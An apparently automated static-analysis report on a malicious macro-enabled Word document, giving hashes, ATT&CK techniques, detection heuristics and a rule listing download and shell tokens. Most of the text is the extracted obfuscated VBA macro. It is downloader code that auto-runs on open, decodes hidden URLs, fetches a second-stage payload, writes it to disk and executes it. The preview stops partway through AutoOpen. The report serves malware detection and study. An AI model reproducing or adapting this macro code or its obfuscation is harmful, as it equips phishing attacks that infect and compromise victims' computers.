Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 f72c3339a6ce6a8b…

MALICIOUS

Office (OLE) / .DOC

207.0 KB Created: 2023-03-21 21:40:00 Authoring application: Microsoft Office Word First seen: 2023-03-22
MD5: ca35c5ec8c75acc2c9ba7c19076ade0d SHA-1: ca31df8e4d94ed1d9648f103462f11988e87e77b SHA-256: f72c3339a6ce6a8ba0fe430773d99e890d19d54357d14e838501bfea0b1cb2f1
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a macro-enabled Office document containing obfuscated VBA code. The AutoOpen macro triggers the execution of CreateObject and CallByName functions, indicative of malicious intent to download and execute a payload. The VBA script uses obfuscation techniques and calls functions that are likely responsible for fetching and running a second-stage artifact.

Heuristics 8

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set WbmWBneD = CreateObject(ijsAK)
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
    zyyPQUT = CallByName(ActiveDocument, LLafxdki, 2)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 37654 bytes
SHA-256: 63d8c063a39ef18eabe664ae29a7da752ed1dd3badc552afcc71069d01848e06
Detection
ClamAV: No threats found
Obfuscation or payload: likely
216 of 284 identifiers look randomly generated (e.g. 'UyNEgQKtBHcPGCPbczBFgSTyQeHzgdRMlnFrxvaM') — consistent with name-mangling obfuscation. Carved artifact contains 11 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function qTOjr() As String
Dim zyyPQUT As String
Dim DHyt As String
Dim LLafxdki As String
Dim XwPGZCEQ As String
Dim TutfLc(5) As Long
Dim dKZ As Long
dKZ = 4
XwPGZCEQ = "BgRtphZCRaDPE"
TutfLc(0) = 12
TutfLc(1) = 10
TutfLc(2) = 4
TutfLc(3) = 6
TutfLc(4) = 9
LLafxdki = CKIZzJwD(XwPGZCEQ, TutfLc, dKZ)
Dim Wykkv As String
Dim JfV As String
Dim wLyv(1) As Long
Dim nIaAluV As Long
nIaAluV = 1
JfV = "mls\qkirX"
wLyv(0) = 4
Wykkv = CKIZzJwD(JfV, wLyv, nIaAluV)
zyyPQUT = CallByName(ActiveDocument, LLafxdki, 2)
DHyt = xKUAZH()
qTOjr = zyyPQUT & Wykkv & DHyt
End Function
Function aQRAY() As Object
Dim WTNIX As String
Dim GcU As String
Dim dXKGKx(19) As Long
Dim vMQT As Long
vMQT = 12
GcU = "fowHQyoYsWUaOeDojHatRrf.BeGRPrhAJsSJWymSYDJ"
dXKGKx(0) = 32
dXKGKx(1) = 15
dXKGKx(2) = 13
dXKGKx(3) = 15
dXKGKx(4) = 25
dXKGKx(5) = 24
dXKGKx(6) = 35
dXKGKx(7) = 20
dXKGKx(8) = 22
dXKGKx(9) = 14
dXKGKx(10) = 12
dXKGKx(11) = 39
dXKGKx(12) = 38
dXKGKx(13) = 8
dXKGKx(14) = 25
dXKGKx(15) = 1
dXKGKx(16) = 24
dXKGKx(17) = 43
dXKGKx(18) = 12
WTNIX = CKIZzJwD(GcU, dXKGKx, vMQT)
Set aQRAY = WbmWBneD(WTNIX)
End Function
Function LBSR(SUaE As Object) As String
Dim ctVHIw As String
Dim JRC As String
Dim QXGkCVeC(29) As Long
Dim aXEtVn As Long
aXEtVn = 12
JRC = "ZoweOodrenwZjKMTAZflZssrePGTcsovvzyvBpDt"
QXGkCVeC(0) = 8
QXGkCVeC(1) = 4
QXGkCVeC(2) = 22
QXGkCVeC(3) = 38
QXGkCVeC(4) = 2
QXGkCVeC(5) = 10
QXGkCVeC(6) = 22
QXGkCVeC(7) = 4
QXGkCVeC(8) = 37
QXGkCVeC(9) = 2
QXGkCVeC(10) = 7
QXGkCVeC(11) = 35
QXGkCVeC(12) = 30
QXGkCVeC(13) = 33
QXGkCVeC(14) = 8
QXGkCVeC(15) = 8
QXGkCVeC(16) = 10
QXGkCVeC(17) = 13
QXGkCVeC(18) = 18
QXGkCVeC(19) = 27
QXGkCVeC(20) = 35
QXGkCVeC(21) = 26
QXGkCVeC(22) = 11
QXGkCVeC(23) = 1
QXGkCVeC(24) = 36
QXGkCVeC(25) = 38
QXGkCVeC(26) = 32
QXGkCVeC(27) = 0
QXGkCVeC(28) = 27
ctVHIw = CKIZzJwD(JRC, QXGkCVeC, aXEtVn)
LBSR = CallByName(SUaE, ctVHIw, 2)
End Function
Sub tVKr(gdX As Object, mPEkRe As String, gPVcSF As String)
Dim CbMubOp As String
Dim XJGoczE As String
Dim pAFQnun(3) As Long
Dim IdsUxcID As Long
IdsUxcID = 1
XJGoczE = "PFZOHeaN "
pAFQnun(0) = 9
pAFQnun(1) = 0
pAFQnun(2) = 2
CbMubOp = CKIZzJwD(XJGoczE, pAFQnun, IdsUxcID)
Dim SuuCP As String
Dim aAC As String
Dim gvqbN(20) As Long
Dim FsWl As Long
FsWl = 12
aAC = "ruObftnuuXPogMLVVNlcLepolPSwauWxsALaJQbVrpzbyeqxipODHQlCmjwQKxquojrRJRepHAxtSCwZIakcExYlteIiSTVnPhBSh"
gvqbN(0) = 27
gvqbN(1) = 98
gvqbN(2) = 22
gvqbN(3) = 19
gvqbN(4) = 19
gvqbN(5) = 85
gvqbN(6) = 32
gvqbN(7) = 22
gvqbN(8) = 20
gvqbN(9) = 2
gvqbN(10) = 6
gvqbN(11) = 22
gvqbN(12) = 7
gvqbN(13) = 42
gvqbN(14) = 48
gvqbN(15) = 43
gvqbN(16) = 99
gvqbN(17) = 100
gvqbN(18) = 98
gvqbN(19) = 56
SuuCP = CKIZzJwD(aAC, gvqbN, FsWl)
CallByName gdX, SuuCP, 1, mPEkRe, CbMubOp & gPVcSF
End Sub
Sub DLqZvhZ(zbzQ As Object, yYsYO() As Byte)
Dim IhqTZTVY As String
Dim GYp As String
Dim hfAp(8) As Long
Dim ILProxBZ As Long
ILProxBZ = 5
GYp = "WrWOdAtcJRdKLeqazjsZexoymrUIBwFAJricp"
hfAp(0) = 1
hfAp(1) = 2
hfAp(2) = 35
hfAp(3) = 7
hfAp(4) = 14
hfAp(5) = 20
hfAp(6) = 4
hfAp(7) = 35
IhqTZTVY = CKIZzJwD(GYp, hfAp, ILProxBZ)
CallByName zbzQ, IhqTZTVY, 1, yYsYO
End Sub
Function mfOvG() As Object
Dim MTqgi As String
Dim rkfwqjVL As String
Dim JbrDWR(42) As Long
Dim hVzBFqU As Long
hVzBFqU = 17
rkfwqjVL = "cIkkhwZrlw.PKJbUWblWhZOwzaXQMSBWtchkelrgjLaHqlvgpaqizXsqRugWoUzQRbOZVApoglpyGLliObikhxqaotjNeAgn"
JbrDWR(0) = 30
JbrDWR(1) = 5
JbrDWR(2) = 37
JbrDWR(3) = 9
JbrDWR(4) = 9
JbrDWR(5) = 11
JbrDWR(6) = 70
JbrDWR(7) = 49
JbrDWR(8) = 49
JbrDWR(9) = 9
JbrDWR(10) = 52
JbrDWR(11) = 1
JbrDWR(12) = 26
JbrDWR(13) = 33
JbrDWR(14) = 52
JbrDWR(15) = 61
JbrDWR(16) = 96
JbrDWR(17) = 13
JbrDWR(18) = 35
JbrDWR(19) = 74
JbrDWR(20) = 61
JbrDWR(21) = 89
JbrDWR(22) = 46
JbrDWR(23) = 0
JbrDWR(24) = 71
JbrDWR(25) = 42
JbrDWR(26) = 52
JbrDWR(27) = 24
JbrDWR(28) = 75
JbrDWR(29) = 57
JbrDWR(30) = 0
JbrDWR(31) = 72
JbrDWR(32) = 71
JbrDWR(33) = 16
JbrDWR(34) = 95
JbrDWR(35) = 48
JbrDWR(36) = 72
JbrDWR(37) = 35
JbrDWR(38) = 93
JbrDWR(39) = 5
JbrDWR(40) = 90
JbrDWR(41) = 23
MTqgi = CKIZzJwD(rkfwqjVL, JbrDWR, hVzBFqU)
Set mfOvG = WbmWBneD(MTqgi)
End Function
Function Peu(XIEtCn As Object) As Boolean
Dim DHo As Long
Dim hWgJvcIG As String
Dim iAbExh As String
Dim eVmImro(7) As Long
Dim cuptJs As Long
cuptJs = 6
iAbExh = "mtlIXvRsBitvcseBxTteJOGESclqauDCiuls"
eVmImro(0) = 25
eVmImro(1) = 2
eVmImro(2) = 29
eVmImro(3) = 2
eVmImro(4) = 30
eVmImro(5) = 8
eVmImro(6) = 32
hWgJvcIG = CKIZzJwD(iAbExh, eVmImro, cuptJs)
DHo = CallByName(XIEtCn, hWgJvcIG, 2)
If DHo = 200 Then
Peu = True
End If
End Function
Sub ZzVGzQ(abbmouJY As Object)
Dim dxCoct As String
Dim jrkJYlp As String
Dim Gth(10) As Long
Dim CQzUH As Long
CQzUH = 4
jrkJYlp = "fgiDhgQrrtdrkzrOencFdAKsehfJbpSq"
Gth(0) = 31
Gth(1) = 17
Gth(2) = 18
Gth(3) = 11
Gth(4) = 8
Gth(5) = 2
Gth(6) = 20
Gth(7) = 27
Gth(8) = 1
Gth(9) = 13
dxCoct = CKIZzJwD(jrkJYlp, Gth, CQzUH)
CallByName abbmouJY, dxCoct, 1
End Sub
Sub ZtTtHl(DaMnROvO As Object, fkvjqV As String)
Dim qHm As String
Dim ksgdW As String
Dim nNNUC(28) As Long
Dim DpQ As Long
DpQ = 12
ksgdW = "hkkrXlDOikIoueoIdBfMhFkhqYJFIdcteNKyVeclFsaJKPeLqogjYmrQEFjkxnWgi"
nNNUC(0) = 7
nNNUC(1) = 14
nNNUC(2) = 6
nNNUC(3) = 14
nNNUC(4) = 32
nNNUC(5) = 14
nNNUC(6) = 22
nNNUC(7) = 12
nNNUC(8) = 6
nNNUC(9) = 17
nNNUC(10) = 14
nNNUC(11) = 4
nNNUC(12) = 38
nNNUC(13) = 60
nNNUC(14) = 7
nNNUC(15) = 60
nNNUC(16) = 37
nNNUC(17) = 31
nNNUC(18) = 60
nNNUC(19) = 23
nNNUC(20) = 65
nNNUC(21) = 6
nNNUC(22) = 21
nNNUC(23) = 39
nNNUC(24) = 18
nNNUC(25) = 0
nNNUC(26) = 59
nNNUC(27) = 50
qHm = CKIZzJwD(ksgdW, nNNUC, DpQ)
CallByName DaMnROvO, qHm, 1, fkvjqV
End Sub
Function KkvqQGFi(opaErkTv As Object, Pqzi As String) As Object
Dim NIbtVRk As Variant
Dim pXspBcy As String
Dim VOBEbcU As String
Dim TqE(11) As Long
Dim idJ As Long
idJ = 9
VOBEbcU = "QgbitWedSsWNpNIeZlmoheDnJnaDgqDVwfVaseDEJpLuNpYrmdAaPBVedicxOJIcOWmgAYFmLxrfP"
TqE(0) = 12
TqE(1) = 27
TqE(2) = 19
TqE(3) = 7
TqE(4) = 10
TqE(5) = 13
TqE(6) = 27
TqE(7) = 59
TqE(8) = 7
TqE(9) = 56
TqE(10) = 51
pXspBcy = CKIZzJwD(VOBEbcU, TqE, idJ)
NIbtVRk = CVar(Pqzi)
Set KkvqQGFi = CallByName(opaErkTv, pXspBcy, 1, NIbtVRk)
End Function
Sub IbTLxv(jeza() As Byte, VdusEs As String)
Dim Cpr As Object
Set Cpr = aQRAY()
YDLTxu Cpr
iQgkzF Cpr
DLqZvhZ Cpr, jeza
GCyYktPn Cpr, VdusEs
bMN Cpr
End Sub
Sub LGLR(QEhpTtw As Object, aBOBnmRN As String)
Dim gMA As String
Dim zkPVIm As String
Dim UhbMsDQ(14) As Long
Dim uzEnOn As Long
uzEnOn = 12
zkPVIm = "oSlGcikeJhoLmVCleekUrtpiRBClsyirPNzQdiOWpaYJPbvLUhUzdIqiFWCjrhZmLrkezfGmlEblmGnHNYhbJFHVuobGe"
UhbMsDQ(0) = 15
UhbMsDQ(1) = 21
UhbMsDQ(2) = 8
UhbMsDQ(3) = 42
UhbMsDQ(4) = 22
UhbMsDQ(5) = 8
UhbMsDQ(6) = 57
UhbMsDQ(7) = 1
UhbMsDQ(8) = 3
UhbMsDQ(9) = 37
UhbMsDQ(10) = 8
UhbMsDQ(11) = 21
UhbMsDQ(12) = 82
UhbMsDQ(13) = 31
gMA = CKIZzJwD(zkPVIm, UhbMsDQ, uzEnOn)
CallByName QEhpTtw, gMA, 1, aBOBnmRN
End Sub
Function CquGg(IgP As String, zYeZ As String) As Boolean
Dim gvaZa As Object
Dim puBRs As Object
Dim iFYjOzG As Object
Dim kGps As Object
Dim MbdT As String
Dim dmtvthbq As String
Dim lgLo() As Byte
Dim hSXdKEzq As Integer
Dim yclSn As String
Dim EXZN As String
CquGg = False
Dim PYdnRM As String
Dim oVzYs As String
Dim NkoLpoT(2) As Long
Dim JJdQrnVa As Long
JJdQrnVa = 1
oVzYs = "jqA?N"
NkoLpoT(0) = 4
NkoLpoT(1) = 4
PYdnRM = CKIZzJwD(oVzYs, NkoLpoT, JJdQrnVa)
Dim xXfQIgFX As String
Dim PrLltO As String
Dim YDJWEYJ(7) As Long
Dim flFpi As Long
flFpi = 3
PrLltO = "SlcpKnKijiAAv=j&xB"
YDJWEYJ(0) = 16
YDJWEYJ(1) = 3
YDJWEYJ(2) = 14
YDJWEYJ(3) = 10
YDJWEYJ(4) = 4
YDJWEYJ(5) = 3
YDJWEYJ(6) = 0
xXfQIgFX = CKIZzJwD(PrLltO, YDJWEYJ, flFpi)
MbdT = xKUAZH()
dmtvthbq = IgP & PYdnRM & MbdT & xXfQIgFX & System.CountryRegion
On Error GoTo JeJ
Set gvaZa = ExVJaoYT()
XmhFQF gvaZa, dmtvthbq
ZzVGzQ gvaZa
If Peu(gvaZa) Then
lgLo = LBSR(gvaZa)
hSXdKEzq = XjGbQcMT(lgLo)
If hSXdKEzq = 1 Then
IbTLxv lgLo, zYeZ
CquGg = True
End If
If hSXdKEzq = 2 Then
Set iFYjOzG = kAj()
yclSn = qTOjr()
LGLR iFYjOzG, yclSn
Dim JbIIHjnM As String
Dim dlkLezgA As String
Dim guouEKcA(8) As Long
Dim zRYdDW As Long
zRYdDW = 4
dlkLezgA = "KgRiGzpusmdgxZs.o"
guouEKcA(0) = 16
guouEKcA(1) = 6
guouEKcA(2) = 4
guouEKcA(3) = 7
guouEKcA(4) = 7
guouEKcA(5) = 3
guouEKcA(6) = 9
guouEKcA(7) = 17
JbIIHjnM = CKIZzJwD(dlkLezgA, guouEKcA, zRYdDW)
EXZN = yclSn & JbIIHjnM
IbTLxv lgLo, EXZN
Set kGps = mfOvG()
Set YYaBzDOw = KkvqQGFi(kGps, yclSn)
Set xLO = KkvqQGFi(kGps, EXZN)
Dim uQyylZ As String
Dim dkscC As String
Dim hqnjyadE(11) As Long
Dim qkcNGg As Long
qkcNGg = 8
dkscC = "nVzjQHUeSoofhQcqPqRgWepIysSBrLHBoNefC"
hqnjyadE(0) = 37
hqnjyadE(1) = 10
hqnjyadE(2) = 23
hqnjyadE(3) = 25
hqnjyadE(4) = 6
hqnjyadE(5) = 8
hqnjyadE(6) = 29
hqnjyadE(7) = 8
hqnjyadE(8) = 31
hqnjyadE(9) = 21
hqnjyadE(10) = 34
uQyylZ = CKIZzJwD(dkscC, hqnjyadE, qkcNGg)
CallByName YYaBzDOw, uQyylZ, 1, xLO.Items, 4
Dim avSLYpKZ As String
Dim TmPprOTp As String
Dim kKLRFNT(22) As Long
Dim dlWyfS As Long
dlWyfS = 8
TmPprOTp = "ReLuuAaoihNyUPSXdbAWPxFKiDmugViXyvmAAUSvVWemvbCHvcLbVWeruIWMvJtlo"
kKLRFNT(0) = 60
kKLRFNT(1) = 8
kKLRFNT(2) = 34
kKLRFNT(3) = 2
kKLRFNT(4) = 23
kKLRFNT(5) = 9
kKLRFNT(6) = 64
kKLRFNT(7) = 2
kKLRFNT(8) = 23
kKLRFNT(9) = 24
kKLRFNT(10) = 61
kKLRFNT(11) = 55
kKLRFNT(12) = 65
kKLRFNT(13) = 63
kKLRFNT(14) = 60
kKLRFNT(15) = 1
kKLRFNT(16) = 51
kKLRFNT(17) = 18
kKLRFNT(18) = 27
kKLRFNT(19) = 52
kKLRFNT(20) = 63
kKLRFNT(21) = 11
avSLYpKZ = CKIZzJwD(TmPprOTp, kKLRFNT, dlWyfS)
For Each JUSjnH In YYaBzDOw.Items
CallByName iFYjOzG, avSLYpKZ, 1, JUSjnH.Path, zYeZ
Next
ZtTtHl iFYjOzG, yclSn
Obrmn iFYjOzG, EXZN
CquGg = True
End If
End If
Exit Function
JeJ:
CquGg = False
End Function
Sub XmhFQF(cSwoFtLm As Object, KvFxR As String)
Dim WgGqhd As String
Dim gtfs As String
Dim eIqHM(5) As Long
Dim VOWuRsFt As Long
VOWuRsFt = 4
gtfs = "tpPNzeAHaxOnhKye"
eIqHM(0) = 11
eIqHM(1) = 2
eIqHM(2) = 6
eIqHM(3) = 12
eIqHM(4) = 8
WgGqhd = CKIZzJwD(gtfs, eIqHM, VOWuRsFt)
Dim FbsyA As String
Dim YctBdlSc As String
Dim JangJoM(5) As Long
Dim DuFXe As Long
DuFXe = 3
YctBdlSc = "GtYZtNyTgOBqCQxYmE"
JangJoM(0) = 1
JangJoM(1) = 18
JangJoM(2) = 8
JangJoM(3) = 17
JangJoM(4) = 15
FbsyA = CKIZzJwD(YctBdlSc, JangJoM, DuFXe)
CallByName cSwoFtLm, WgGqhd, 1, FbsyA, KvFxR, False
Dim wUq As String
Dim XjqtlIx As String
Dim TsDjyFI(16) As Long
Dim TVCxcGN As Long
TVCxcGN = 6
XjqtlIx = "CShugZuLgHzjknoIpyvnUxZtiWaOUeQMstcHTAOptYgIPiKBYOpcuZ"
TsDjyFI(0) = 28
TsDjyFI(1) = 17
TsDjyFI(2) = 24
TsDjyFI(3) = 25
TsDjyFI(4) = 15
TsDjyFI(5) = 14
TsDjyFI(6) = 14
TsDjyFI(7) = 40
TsDjyFI(8) = 19
TsDjyFI(9) = 34
TsDjyFI(10) = 17
TsDjyFI(11) = 20
TsDjyFI(12) = 38
TsDjyFI(13) = 21
TsDjyFI(14) = 27
TsDjyFI(15) = 27
wUq = CKIZzJwD(XjqtlIx, TsDjyFI, TVCxcGN)
CallByName cSwoFtLm, wUq, 4, 4, 13056
End Sub
Sub AutoOpen()
Dim WDzYgZM As String
Dim tYrPC As String
Dim rgesXCxI As String
Dim NgncLnUj(71) As Long
Dim qRgKgzm As Long
qRgKgzm = 57
rgesXCxI = "NjsyzsHKGfexGQGitzQFCfKMqoCpzIMUOjS9DttNwZgS-FgpseLiKgRrw/dDOWqpGPzbHSgYanWgapa.ytZNHYpw.UeTjp0eSyACg3PfKlSh0DuD6EbLPLaFQUGsEIyAzTPmAFWmdOXBQncMvIZAhMuEEmQqrcbZAmcGwwOjc:DlCvvedDAButNCajoWtYkslXwhXIwVcZubUAsmKnlUyfpWmrcuSoaOdmGGkWWgEtQPzTfBMjgguttp4LHTrzbarhrGPisoorcFOT/bt/iQLLDjLtscuRrQhoKXRZoDBxYDr6bJHecmpsvknfgu/GicZXIQLJesBLLNvOBlsrbsoXEqEnpbqpc/hAoUcCTeRiGgHHhthLrcXVztsUXawkiaAktWnHNYAVnZjKxPTRtjszGhaBjEwjnhszxmaw"
NgncLnUj(0) = 108
NgncLnUj(1) = 17
NgncLnUj(2) = 17
NgncLnUj(3) = 28
NgncLnUj(4) = 3
NgncLnUj(5) = 170
NgncLnUj(6) = 58
NgncLnUj(7) = 58
NgncLnUj(8) = 3
NgncLnUj(9) = 111
NgncLnUj(10) = 28
NgncLnUj(11) = 28
NgncLnUj(12) = 106
NgncLnUj(13) = 16
NgncLnUj(14) = 11
NgncLnUj(15) = 56
NgncLnUj(16) = 143
NgncLnUj(17) = 16
NgncLnUj(18) = 17
NgncLnUj(19) = 4
NgncLnUj(20) = 80
NgncLnUj(21) = 143
NgncLnUj(22) = 26
NgncLnUj(23) = 132
NgncLnUj(24) = 80
NgncLnUj(25) = 132
NgncLnUj(26) = 12
NgncLnUj(27) = 58
NgncLnUj(28) = 41
NgncLnUj(29) = 28
NgncLnUj(30) = 45
NgncLnUj(31) = 143
NgncLnUj(32) = 26
NgncLnUj(33) = 74
NgncLnUj(34) = 17
NgncLnUj(35) = 11
NgncLnUj(36) = 74
NgncLnUj(37) = 17
NgncLnUj(38) = 58
NgncLnUj(39) = 12
NgncLnUj(40) = 95
NgncLnUj(41) = 111
NgncLnUj(42) = 113
NgncLnUj(43) = 41
NgncLnUj(44) = 35
NgncLnUj(45) = 92
NgncLnUj(46) = 95
NgncLnUj(47) = 102
NgncLnUj(48) = 4
NgncLnUj(49) = 113
NgncLnUj(50) = 139
NgncLnUj(51) = 249
NgncLnUj(52) = 36
NgncLnUj(53) = 24
NgncLnUj(54) = 33
NgncLnUj(55) = 25
NgncLnUj(56) = 58
NgncLnUj(57) = 385
NgncLnUj(58) = 382
NgncLnUj(59) = 422
NgncLnUj(60) = 377
NgncLnUj(61) = 334
NgncLnUj(62) = 360
NgncLnUj(63) = 207
NgncLnUj(64) = 299
NgncLnUj(65) = 108
NgncLnUj(66) = 44
NgncLnUj(67) = 382
NgncLnUj(68) = 269
NgncLnUj(69) = 36
NgncLnUj(70) = 149
tYrPC = CKIZzJwD(rgesXCxI, NgncLnUj, qRgKgzm)
Dim tCFKXr As String
Dim yKrTwhX As String
Dim njhTKIc(45) As Long
Dim sqIu As Long
sqIu = 37
yKrTwhX = "zn/ljxUuhEzMiuadw/ovUrqNCkUiUQrbNoyLvzoCVpNIbfMzcpRwavHpzdVcvRygjldKGsuFcTGNAoJDAUleCEcQpFewKlWbrRf/QCzMtjDaCasjcgSsweGmCiXYgUMrkTQyc/hGohPnBCgajnpeLfaoupWeKywvxvygoVzbMfClhwFBtjPGhsHcYpTHmwKToXIauDppWhmRrzvUYEdABvSGsKnBjJGnyadV:QdhxAvvioFYmf/dnkNRovWtNVgoGVULdSgbdWcVgoa.DT.khbgGer"
njhTKIc(0) = 9
njhTKIc(1) = 105
njhTKIc(2) = 105
njhTKIc(3) = 42
njhTKIc(4) = 229
njhTKIc(5) = 3
njhTKIc(6) = 3
njhTKIc(7) = 16
njhTKIc(8) = 15
njhTKIc(9) = 22
njhTKIc(10) = 32
njhTKIc(11) = 15
njhTKIc(12) = 1
njhTKIc(13) = 13
njhTKIc(14) = 272
njhTKIc(15) = 19
njhTKIc(16) = 22
njhTKIc(17) = 64
njhTKIc(18) = 272
njhTKIc(19) = 64
njhTKIc(20) = 84
njhTKIc(21) = 3
njhTKIc(22) = 4
njhTKIc(23) = 15
njhTKIc(24) = 2
njhTKIc(25) = 64
njhTKIc(26) = 8
njhTKIc(27) = 15
njhTKIc(28) = 64
njhTKIc(29) = 84
njhTKIc(30) = 3
njhTKIc(31) = 13
njhTKIc(32) = 35
njhTKIc(33) = 30
njhTKIc(34) = 12
njhTKIc(35) = 9
njhTKIc(36) = 3
njhTKIc(37) = 269
njhTKIc(38) = 242
njhTKIc(39) = 163
njhTKIc(40) = 13
njhTKIc(41) = 278
njhTKIc(42) = 105
njhTKIc(43) = 272
njhTKIc(44) = 217
tCFKXr = CKIZzJwD(yKrTwhX, njhTKIc, sqIu)
Dim dGwp As String
Dim PystG As String
Dim pWEEPf(45) As Long
Dim IraHCan As Long
IraHCan = 40
PystG = "u/xIDrOCtMiHWMebvdDAJNoPgMHsMD/iOjkYrUTLrNmGtdgsMmoevhWcARNvdiMqDweweuyZreDc:zoNvgnUeelm/kLLGgUyyCanLmfYSsxlgccnqQYzcOyIyiaGTHavRSUwcr/LXoSzoYjuMQrgfvOLVRfUVSBdl/fnEnjknHHrNHxntrbLYRZphcwVDQpGWpBuWmFcIHcaejfnLVdORHlBRoCItqLjtLkoKhXttCZShenWaaVXXzMfnJqHLdGfcrCFhBCiVrEicnaJpfVZXYcTTgfHEHdeGRpcHBWszapoHJVKEcldZvFiYMfzFFhV8ceNsCbudtzSqzGWtm."
pWEEPf(0) = 54
pWEEPf(1) = 9
pWEEPf(2) = 9
pWEEPf(3) = 184
pWEEPf(4) = 77
pWEEPf(5) = 2
pWEEPf(6) = 2
pWEEPf(7) = 56
pWEEPf(8) = 23
pWEEPf(9) = 83
pWEEPf(10) = 103
pWEEPf(11) = 15
pWEEPf(12) = 18
pWEEPf(13) = 15
pWEEPf(14) = 6
pWEEPf(15) = 99
pWEEPf(16) = 9
pWEEPf(17) = 11
pWEEPf(18) = 23
pWEEPf(19) = 83
pWEEPf(20) = 56
pWEEPf(21) = 11
pWEEPf(22) = 64
pWEEPf(23) = 339
pWEEPf(24) = 103
pWEEPf(25) = 6
pWEEPf(26) = 2
pWEEPf(27) = 11
pWEEPf(28) = 43
pWEEPf(29) = 99
pWEEPf(30) = 25
pWEEPf(31) = 15
pWEEPf(32) = 28
pWEEPf(33) = 2
pWEEPf(34) = 321
pWEEPf(35) = 58
pWEEPf(36) = 4
pWEEPf(37) = 199
pWEEPf(38) = 6
pWEEPf(39) = 2
pWEEPf(40) = 15
pWEEPf(41) = 10
pWEEPf(42) = 178
pWEEPf(43) = 297
pWEEPf(44) = 206
dGwp = CKIZzJwD(PystG, pWEEPf, IraHCan)
Dim IEYNFBk As String
Dim hZf As String
Dim qsMN(73) As Long
Dim gPWU As Long
gPWU = 52
hZf = "tjchJJCkPHlIYkJfzLtegNGsgEOmuUYaBLIo-BFTaDWCmuoFnKoPPpayroukXiJAqMbAbPUZVMlrFhGnPqPFkLSeYDAcVAtteouKupVsatinuCIJuSTKtTGfEWh.dCBidzHelfDGsUL/Bbw:Era/XZnwHcfQLcoUKTgXcpE/dJodLgHvrEbmgpTkPtPWuvvbYuoINbgoQCFyKkLgPdDcdRWx/kdgyknagYIhawxulNQntmofGOeOFxfVnvXmJMPgxgrEPoNJMqQtEJizkgIZmeoTfGkvbnTlWWEkdugsAvLqiDUNElthBpajiYbhCruhnxiHDbbHADvOpiUND/BNYnuYjaevReSstvaZWNuSiRiJhJBTRPowQI"
qsMN(0) = 4
qsMN(1) = 1
qsMN(2) = 1
qsMN(3) = 54
qsMN(4) = 144
qsMN(5) = 140
qsMN(6) = 140
qsMN(7) = 24
qsMN(8) = 54
qsMN(9) = 62
qsMN(10) = 57
qsMN(11) = 62
qsMN(12) = 1
qsMN(13) = 29
qsMN(14) = 32
qsMN(15) = 11
qsMN(16) = 36
qsMN(17) = 29
qsMN(18) = 1
qsMN(19) = 125
qsMN(20) = 36
qsMN(21) = 36
qsMN(22) = 57
qsMN(23) = 32
qsMN(24) = 125
qsMN(25) = 176
qsMN(26) = 20
qsMN(27) = 49
qsMN(28) = 1
qsMN(29) = 29
qsMN(30) = 57
qsMN(31) = 20
qsMN(32) = 24
qsMN(33) = 124
qsMN(34) = 36
qsMN(35) = 57
qsMN(36) = 21
qsMN(37) = 140
qsMN(38) = 3
qsMN(39) = 21
qsMN(40) = 62
qsMN(41) = 37
qsMN(42) = 67
qsMN(43) = 62
qsMN(44) = 49
qsMN(45) = 140
qsMN(46) = 21
qsMN(47) = 16
qsMN(48) = 1
qsMN(49) = 5
qsMN(50) = 49
qsMN(51) = 140
qsMN(52) = 363
qsMN(53) = 306
qsMN(54) = 152
qsMN(55) = 306
qsMN(56) = 6
qsMN(57) = 280
qsMN(58) = 158
qsMN(59) = 179
qsMN(60) = 357
qsMN(61) = 354
qsMN(62) = 267
qsMN(63) = 263
qsMN(64) = 56
qsMN(65) = 236
qsMN(66) = 299
qsMN(67) = 77
qsMN(68) = 369
qsMN(69) = 36
qsMN(70) = 52
qsMN(71) = 260
qsMN(72) = 218
IEYNFBk = CKIZzJwD(hZf, qsMN, gPWU)
Dim JbJVGAP As String
Dim VbMtXqw As String
Dim Rzs(96) As Long
Dim WMvhhBLQ As Long
WMvhhBLQ = 45
